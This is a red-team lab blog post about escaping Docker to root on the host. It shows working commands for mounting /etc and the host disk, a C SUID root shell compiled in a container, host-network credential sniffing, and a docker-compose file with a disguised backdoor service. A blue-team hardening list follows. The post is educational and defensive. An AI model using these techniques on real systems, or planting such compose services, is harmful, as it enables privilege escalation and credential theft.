Alphasec
PL

// lab · Red team

Docker - Escape from Alcatraz

February 10, 2019Paweł Maziarzdocker · devops · redteam

Originally published on blog.aptmasterclass.com. The technical content still holds; the examples date from the time of writing.

// in short

Docker lets you run software in a containerized environment, which can otherwise be called operating-system-level virtualization. Classic virtualization solutions like VMware, VirtualBox, or Xen boot an entire new operating system on emulated hardware, whereas Docker (and other container-based solutions like rkt or lxd) runs the specified programs within the same operating system and kernel. The only thing it cares about is proper separation - each container has its own namespace, network, and cgroups:

Docker images contain detailed information about the version of the software being run, its dependent libraries, and the whole ecosystem. It's therefore an ideal solution for developers who want to check how their application behaves with different versions of libraries or services.

An example? Let's say we want to run a PHP script on the latest version 7, but also check whether it runs fine on versions 5.6 and 5.3. Nothing simpler - just run the chosen tag of the PHP image, specifying it after the colon. To visualize this, below is PHP running on the latest version 7, then 5.6 and 5.3 (by the way, if you'd like a painless introduction to Docker to show up here - let us know).

bash
drg@kilo:~$ docker run php:7-cli php --version
PHP 7.3.1 (cli) (built: Feb  6 2019 04:40:52) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.3.1, Copyright (c) 1998-2018 Zend Technologies
drg@kilo:~$

drg@kilo:~$ docker run php:5.6-cli php --version
PHP 5.6.40 (cli) (built: Jan 23 2019 00:04:26)
Copyright (c) 1997-2016 The PHP Group
Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies
drg@kilo:~$

drg@kilo:~$ docker run php:7-cli php --version
PHP 7.3.1 (cli) (built: Feb  6 2019 04:40:52) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.3.1, Copyright (c) 1998-2018 Zend Technologies
drg@kilo:~$

Taking advantage of this feature, the life of every decent developer who takes their projects seriously becomes noticeably more beautiful.

As for production use, Docker is a well-established topic by now too, in part because, with Kubernetes or Docker Swarm, it helps build a wonderfully convenient and scalable infrastructure. And one that, on top of that, introduces an additional layer of separation, which can be a huge bonus when it comes to security.

So what's the problem?

As Uncle Ben used to say:

With great power comes great responsibility.

Docker undoubtedly has great power; the question is who gets the responsibility in the form of the ability to launch new containers. DevOps, administrators - the infrastructure caretakers - obviously. Sometimes developers or testers get that ability too.

So the situation might look like this: on the servers (whether test or production) developers have system accounts and can run their own containers - technically, they belong to the docker group:

bash
programista.stachu@kilo:~$ id
uid=1001(programista.stachu) gid=1001(programista.stachu) groups=1001(programista.stachu),999(docker)
programista.stachu@kilo:~$

Of course they don't have administrative privileges, so if they wanted to read the first line of the /etc/shadow file, the one containing root's password, they won't manage it, obviously:

bash
programista.stachu@kilo:~$ head -n 1 /etc/shadow
head: cannot open '/etc/shadow' for reading: Permission denied
programista.stachu@kilo:~$

But if programista.stachu has the soul of a hacker in him, this won't be a problem for him. It won't be a problem for him in a number of ways.

Volumes

Docker containers are, as a rule, ephemeral, meaning they don't retain state; that means if we start a container, make changes to the /etc/passwd file, and restart the container - the changes to that file will vanish.

That's one of the reasons Docker lets you mount local directories into a container - the container then has access to that directory, and everything the container changes will be changed in the mounted directory. This is done, for example, by passing the option -v local_path:path_in_container.

Let's see - we start a container from the bash image, create a /tmp/test file in it, exit the container, start the container again, and what? The created file is nowhere to be seen:

bash
programista.stachu@kilo:~$ docker run -it bash
bash-5.0# echo 1 > /tmp/test
bash-5.0# exit
programista.stachu@kilo:~$ 

programista.stachu@kilo:~$ docker run -it bash
bash-5.0# cat /tmp/test
cat: can't open '/tmp/test': No such file or directory
bash-5.0# exit
programista.stachu@kilo:~$

Second attempt - we mount the current directory $(pwd) to /tmp, create /tmp/test, and run it again - the file is there.

bash
programista.stachu@kilo:~$ docker run -v $(pwd):/tmp -it bash
bash-5.0# echo 2 > /tmp/test
bash-5.0# exit
programista.stachu@kilo:~$ 

programista.stachu@kilo:~$ docker run -v $(pwd):/tmp -it bash
bash-5.0# cat /tmp/test
2
bash-5.0# exit
programista.stachu@kilo:~$

As a bonus, in the local filesystem, in the current directory, the test file we created inside the container also shows up:

bash
programista.stachu@kilo:~$ cat test
2
programista.stachu@kilo:~$

Thanks to this mechanism, we can run services that save their state (e.g. databases) and be sure that the data won't evaporate after a container restart.

What else is important? By default, containers run with root privileges, yet we have access neither to the real password file (/etc/shadow) nor to other processes, and so on - just as intended:

bash
programista.stachu@kilo:~$ docker run -it bash
bash-5.0# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
bash-5.0# head -n 1 /etc/shadow
root:::0:::::
bash-5.0# ps uax
PID   USER     TIME  COMMAND
    1 root      0:00 bash
    8 root      0:00 ps uax
bash-5.0# exit
programista.stachu@kilo:~$

But our Stachu the Developer, with his hacker's soul, has an idea - he'll try mounting the /etc directory to the /etc directory inside the container.

bash
programista.stachu@kilo:~$ docker run -v /etc:/etc -it bash
bash-5.0# head -n 1 /etc/shadow
root:$6$Rs9tr76l$m3JvDjlhsMsyrz5lgWOnieSAdZejqI3q22Ek75ErKtpQGG.MNCtSb3JQ7w9d4DrJwgvmkX8cpS8jO4.UbAz5D1:17702:0:99999:7:::
bash-5.0# exit
programista.stachu@kilo:~$

Bingo! He gained access not only to the entire /etc/shadow file, but to the whole /etc directory of the server. And not just read access, but write access too. So he can try cracking root's password, but he can just as easily change it, he can also change his own UID to 0, becoming root, he can add a new user, add himself to other groups, and so on. Just like with the /etc directory, he can mount other directories he normally has no access to, e.g. application directories where he'll find passwords to other services, the database directory, and so on.

Are volumes the only option? Oh no!

Privileged mode

When starting a container, we can use the –privileged option, which will run the container in privileged mode. Per the documentation:

The –privileged flag gives all capabilities to the container, and it also lifts all the limitations enforced by the device cgroup controller. In other words, the container can then do almost everything that the host can do. This flag exists to allow special use-cases, like running Docker within Docker.

Sounds good. Let's compare what happens in the /dev directory when we run a container in privileged versus unprivileged mode.

Unprivileged mode:

bash
ista.stachu@kilo:~$ docker run -it bash
bash-5.0# ls /dev
console  core     fd       full     mqueue   null     ptmx     pts      random   shm      stderr   stdin    stdout   tty      urandom  zero
bash-5.0# exit
programista.stachu@kilo:~$

Privileged mode:

bash
programista.stachu@kilo:~$ docker run --privileged -it bash
bash-5.0# ls /dev
agpgart             mapper              sda2                tty15               ttyS0
autofs              mem                 sda5                tty16               ttyS1
bsg                 memory_bandwidth    sg0                 tty17               ttyS2
btrfs-control       midi                sg1                 tty18               ttyS3
console             mqueue              shm                 tty19               uhid          
core                net                 snapshot            tty2                uinput        
cpu_dma_latency     network_latency     snd                 tty20               urandom       
cuse                network_throughput  sr0                 tty21               vcs           
dmmidi              null                stderr              tty22               vcs1          
dri                 parport0            stdin               tty23               vcs2          
fb0                 port                stdout              tty24               vcs3          
fd                  ppp                 tty                 tty25               vcs4          
fd0                 psaux               tty0                tty26               vcs5          
full                ptmx                tty1                tty27               vcs6          
fuse                pts                 tty10               tty28               vcsa                
hpet                random              tty11               tty29               vcsa1               
input               rtc0                tty12               tty3                vcsa2
kmsg                sda                 tty13               tty30               vcsa3
loop-control        sda1                tty14               tty31               vcsa4
bash-5.0#
programista.stachu@kilo:~$

Does anything nice catch your eye? Something that could come in handy for accessing the password file? The /dev/sda device, which is the hard drive, plus /dev/sda1, /dev/sda2, /dev/sda5, which are its partitions. And what do you do with devices like that? You mount them!

bash
programista.stachu@kilo:~$ docker run --privileged -it bash
bash-5.0# fdisk -l /dev/sda
Disk /dev/sda: 50 GB, 53687091200 bytes, 104857600 sectors
6527 cylinders, 255 heads, 63 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Device  Boot StartCHS    EndCHS        StartLBA     EndLBA    Sectors  Size Id Type
/dev/sda1 *  0,32,33     1023,254,63       2048   37939199   37937152 18.0G 83 Linux
/dev/sda2    1023,254,63 1023,254,63   37941246  104855551   66914306 31.9G  5 Extended
/dev/sda5    1023,254,63 1023,254,63   37941248  104855551   66914304 31.9G 82 Linux swap
bash-5.0# mount /dev/sda1 /mnt
bash-5.0# head -n 1 /mnt/etc/shadow
root:$6$Rs9tr76l$m3JvDjlhsMsyrz5lgWOnieSAdZejqI3q22Ek75ErKtpQGG.MNCtSb3JQ7w9d4DrJwgvmkX8cpS8jO4.UbAz5D1:17702:0:99999:7:::
bash-5.0# exit
programista.stachu@kilo:~$

Again - Stachu can do everything he did in the first case, by analogy. And even more.

All well and good, but Stachu the Developer doesn't feel like messing around with cracking passwords, adding new users, or other heavy-handed changes; he wants root privileges quickly, effectively, and relatively quietly. What fun thing can he do? Yes, the word fun is rather ambiguous here.

Suid here, suid there

Remember how a bit earlier we created the /tmp/test file in a container? The one that contained a 2? The one that then stayed in Stachu's current directory? I didn't show you the most important part:

bash
programista.stachu@kilo:~$ ls -l test
-rw-r--r-- 1 root root 2 lut  7 20:35 test
programista.stachu@kilo:~$

Since containers run as root by default, the owner of the created file is root - not programista.stachu. So what follows from that? I think those of you who deal with Linux/Unix systems day to day know what to do.

Let's create an executable program and give it the SUID bit, which will mean that whoever runs this program will run it with the privileges of its owner - root.

bash
programista.stachu@kilo:~$ mkdir tmp
programista.stachu@kilo:~$ docker run -v $(pwd)/tmp:/tmp -it gcc
root@84499785b358:/# cat > suid.c << EOF
> #include <unistd.h>
> void main() {
>     setuid(0); seteuid(0); setgid(0); setegid(0);
>     execl("/bin/bash", "bash", NULL);
> }
> EOF
root@84499785b358:/# cc -static suid.c -o /tmp/suid
root@84499785b358:/# chmod +s /tmp/suid
root@84499785b358:/# exit
programista.stachu@kilo:~$ id
uid=1001(programista.stachu) gid=1001(programista.stachu) groups=1001(programista.stachu),999(docker)
programista.stachu@kilo:~$ ./tmp/suid
root@kilo:~# id
uid=0(root) gid=0(root) groups=0(root),999(docker),1001(programista.stachu)
root@kilo:~#
root@kilo:~# head -n 1 /etc/shadow
root:$6$Rs9tr76l$m3JvDjlhsMsyrz5lgWOnieSAdZejqI3q22Ek75ErKtpQGG.MNCtSb3JQ7w9d4DrJwgvmkX8cpS8jO4.UbAz5D1:17702:0:99999:7:::
root@kilo:~#

What happened here? The developer ran a container with the GCC compiler, and inside the container, already as root, created a simple program that first sets UID, EUID, GID, and EGID to 0 (i.e. the uid, effective uid, group, and effective group to root:root), compiled it, and then set the SUID bit on it. After exiting the container, the program sits in the mounted ./tmp directory, and once he runs it, our hero becomes root.

A ready-to-use proof-of-concept is available as a Docker image at https://hub.docker.com/r/aptmasterclass/suidshell, so we can put it to use in short order.

rec · docker suidshell



Are there other potential threats when such an ambitious developer gains the ability to run containers? Indeed there are.



Networking



Docker supports networking in various ways. Without going into too much detail, by default containers have their own network interfaces and their own addressing, kept separate from the host's network interfaces.



bash
programista.stachu@kilo:~$ docker run -it bash
bash-5.0# ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:00:02
          inet addr:172.17.0.2  Bcast:172.17.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:5 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:446 (446.0 B)  TX bytes:0 (0.0 B)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

bash-5.0# exit
programista.stachu@kilo:~$



So if we ran some packet sniffer, e.g. tcpdump, we'd only see the traffic directed to our container - boring. If you glanced at the network modes Docker supports, a very interesting option shows up, namely host:





host: For standalone containers, remove network isolation between the container and the Docker host, and use the host’s networking directly. host is only available for swarm services on Docker 17.06 and higher. See use the host network.





This means that if we run a container with networking in host mode, the isolation between the containers and the host itself is removed - that is, the container has access to all of the host's interfaces:



bash
programista.stachu@kilo:~$ docker run --net=host -it bash
bash-5.0# ifconfig
docker0   Link encap:Ethernet  HWaddr 02:42:70:FA:DA:75
          inet addr:172.17.0.1  Bcast:172.17.255.255  Mask:255.255.0.0
          inet6 addr: fe80::42:70ff:fefa:da75/64 Scope:Link
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:68 errors:0 dropped:0 overruns:0 frame:0
          TX packets:168 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:5395 (5.2 KiB)  TX bytes:15816 (15.4 KiB)

eth0      Link encap:Ethernet  HWaddr 02:00:00:2D:BD:1E
          inet addr:193.70.XX.XX  Bcast:193.70.56.255  Mask:255.255.255.0
          inet6 addr: fe80::ff:fe2d:bd1e/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2940354 errors:0 dropped:20 overruns:0 frame:0
          TX packets:1110205 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3038990990 (2.8 GiB)  TX bytes:155169517 (147.9 MiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:18047995 errors:0 dropped:0 overruns:0 frame:0
          TX packets:18047995 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:2841768827 (2.6 GiB)  TX bytes:2841768827 (2.6 GiB)

bash-5.0# exit
programista.stachu@kilo:~$



So what follows? Our Stachu the Developer can run a packet sniffer (e.g. from a small image like this one) and listen for any occurrences of phrases such as password, authorization, login, user, and so on. Thanks to this he'll not only be able to eavesdrop on the logins and passwords handled unencrypted across the network of the other containers, but also the logins and passwords going into and out of the server directly (e.g. someone checking their email, an administrator logging into some FTP server, etc.):



bash
drg@kilo:~$ docker run --net=host aptmasterclass/tcpdump tcpdump -i any -A -l |grep -i --color "user\|pass\|authorization\|login"
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes
Authorization: Basic YWRtaW46YWRtaW4=
User-Agent: curl/7.63.0
06:35:57.575178 IP kilo.53372 > ftp.wp.pl.21: Flags [P.], seq 1:14, ack 45, win 229, options [nop,nop,TS val 1425126781 ecr 2612321835], length 13: FTP: USER wpuser
T..}...+USER wpuser
06:35:57.610251 IP ftp.wp.pl.21 > kilo.53372: Flags [P.], seq 45:79, ack 14, win 114, options [nop,nop,TS val 2612325393 ecr 1425126781], length 34: FTP: 331 Password required for wpuser
....T..}331 Password required for wpuser
06:36:02.650408 IP kilo.53372 > ftp.wp.pl.21: Flags [P.], seq 14:39, ack 79, win 229, options [nop,nop,TS val 1425131856 ecr 2612325393], length 25: FTP: PASS Supertajne/Haslo!!
T..P....PASS Supertajne/Haslo!!
06:36:02.685258 IP ftp.wp.pl.21 > kilo.53372: Flags [P.], seq 79:101, ack 39, win 114, options [nop,nop,TS val 2612330468 ecr 1425131856], length 22: FTP: 530 Login incorrect.
....T..P530 Login incorrect.
[...]



You can see right away why, even on internal networks, all services should be encrypted (SSL/TLS) whenever possible. Right?



OK, so we have to be careful who we give the ability to run containers



Yes, of course, that's the first thing. There's another aspect too - we have to be careful about what we run ourselves.



If you're a bit familiar with the idea of containers, you know the general rule is one service per container. For example, if we want to run WordPress in a container, we really need to start 2 containers:



    

  1. the database container,
    2. 

  2. the web server container.
    3. 




In other cases there may be even more of these services. To simplify it all, we can use so-called Stacks or Docker Compose. It comes down to creating a YAML file with the service definitions, and then running the command docker stack deploy -c stack.yml obraz or docker-compose up). An example service file for WordPress:



yaml
version: '3.1'

services:

  wordpress:
    image: wordpress
    restart: always
    ports:
      - 8080:80
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: exampleuser
      WORDPRESS_DB_PASSWORD: examplepass
      WORDPRESS_DB_NAME: exampledb

  db:
    image: mysql:5.7
    restart: always
    environment:
      MYSQL_DATABASE: exampledb
      MYSQL_USER: exampleuser
      MYSQL_PASSWORD: examplepass
      MYSQL_RANDOM_ROOT_PASSWORD: '1'



Now imagine we tweak this file a little so that it looks roughly like this:



yaml
version: '3.1'

services:

  wordpress:
    image: wordpress
    restart: always
    ports:
      - 8080:80
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: exampleuser
      WORDPRESS_DB_PASSWORD: examplepass
      WORDPRESS_DB_NAME: exampledb

  db:
    image: mysql:5.7
    restart: always
    environment:
      MYSQL_DATABASE: exampledb
      MYSQL_USER: exampleuser
      MYSQL_PASSWORD: examplepass
      MYSQL_RANDOM_ROOT_PASSWORD: '1'

  update:
    image: aptmasterclass/suidshell
    volumes:
      - /tmp:/tmp



We added an innocent-looking update service that mounts the host's /tmp into the container's /tmp so that - as you already know well - it can write a suidshell there. After starting the services with the docker-compose up command, Wordpress will of course start up, the database will boot, and as a bonus, a suidshell file will appear in the host's /tmp directory. Whoever runs it on the server will become root.



In Stacks or Docker Compose files, you can also place network definitions (e.g. network_mode: host) or privileged mode (privileged: true).



For this reason alone, it's so important to review the files that define the images themselves, or sets of images, because we may be dealing with malicious images that do more than what we expect of them. Take a look, for example, at one of the Docker Compose definitions for GitLab:



https://github.com/mgcrea/docker-compose-gitlab-ce/blob/master/docker-compose.yml.



There are quite a few services in it, so cybercriminals can always try to smuggle something into similar files, hoping it slips past our attention.

  

  
Red team vs Blue team
Red team
  • If you manage to run new Docker containers (in practice, access to /var/run/docker.sock), there's a good chance you can take over the host using the techniques described above.
  • You don't have to target Docker directly - you can go after the orchestration tool instead, if one is in use (Kubernetes, Docker Swarm).
  • It may turn out to be easier to compromise the Docker registry in use, or the person/organization whose images the target company relies on.
  • You can also try to get the administrators/DevOps to run your planted image, whether directly or through a malicious docker-compose.yml
Blue team
  • Control who is able to run Docker containers.
  • Where possible, don't run Dockerized services running with root privileges.
  • Harden Docker, Kubernetes, and the whole crew, e.g. using the documents from CIS Benchmarks and projects based on them like Docker Bench for Security and kube-bench.
  • In production, allow only official images to be used.
  • Consider deploying your own artifact repository (e.g. Nexus) and only allow containers to run from images stored in it, ones you have thoroughly tested beforehand, especially in production.
  • It's worth digging into the Access authorization plugin and --userns-remap mechanisms.

  
Want to practise this on live infrastructure with an instructor at your side? That is exactly what our APT Masterclass workshops and the PowerShell in CyberSecurity training are for.
Book a training

  
// from the discussion
What readers said
Threads carried over from the blog in full, in their original Polish. Comments are closed — got a remark or a question? Get in touch.